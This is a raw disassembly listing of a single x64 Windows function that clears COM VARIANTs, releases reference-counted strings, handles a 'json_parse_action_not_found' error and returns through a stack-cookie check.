mov rdx, qword [rsp + 0x790]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14006e5f1
mov ebx, r12d
mov dword [rsp + 0xa8], ebx
mov dword [rsp + 0xdc], 0xffffffff
test rsi, rsi
je 0x14006e569
mov r9, rsi
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0xdc]
call fcn.14004e2f0
movzx esi, al
mov byte [rsp + 0x7a], al
mov r8d, dword [0x1401d6d80]
imul r8d, r8d
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
cmp r8d, 2
jne 0x14006e552
lea edx, [r8 + 0x20]
lea r8d, [rdx + 1]
lea rcx, [0x14015edc4]
call fcn.1400d5714
mov eax, dword [rsp + 0xdc]
cmp eax, 0xffffffff
je 0x14006e5ca
mov ebx, eax
mov dword [rsp + 0xa8], eax
jmp 0x14006e5c5
lea rax, [rsp + 0x7a0]
mov qword [rsp + 0xe00], rax
lea rdx, [0x14015ebd4]
lea rcx, [rsp + 0x7a0]
call fcn.1400024a0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401d1d58]
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0xa8]
call fcn.14004e500
movzx esi, al
mov byte [rsp + 0x7a], al
mov ebx, dword [rsp + 0xa8]
cmp ebx, 0xffffffff
jne 0x14006e5df
test sil, sil
jne 0x14006e5df
mov word [r15 + 8], di
mov esi, 0xb
mov word [r15], si
jmp 0x14006e5ec
mov dword [r15 + 8], ebx
mov eax, 0x16
mov word [r15], ax
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xf8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7b0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e623
mov rdx, qword [rsp + 0x7b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x108]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e664
mov rdx, qword [rsp + 0x7c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14006e664
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.140002540
nop
lea rcx, [rsp + 0x2db0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002540
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov sil, 1
jmp 0x14006e7bc
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x350]
call fcn.140003760
nop
lea rdx, [rsp + 0x350]
mov rcx, qword [r13 + 0x40]
call fcn.140063370
nop
mov rcx, qword [rsp + 0x350]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e702
mov rdx, qword [rsp + 0x7d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x14006e71a
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x408], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006e765
mov rdx, qword [rsp + 0x408]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
test sil, sil
jne 0x14006e7bc
movzx esi, byte [rsp + 0x50]
test r15, r15
je 0x14006e7bc
mov word [r15], r14w
mov rdx, qword [rbx]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], r12d
dec r12d
jg 0x14006e7d8
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
movzx eax, sil
mov rcx, qword [rsp + 0x14a30]
xor rcx, rsp
call fcn.1400d4e00
add rsp, 0x14a40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret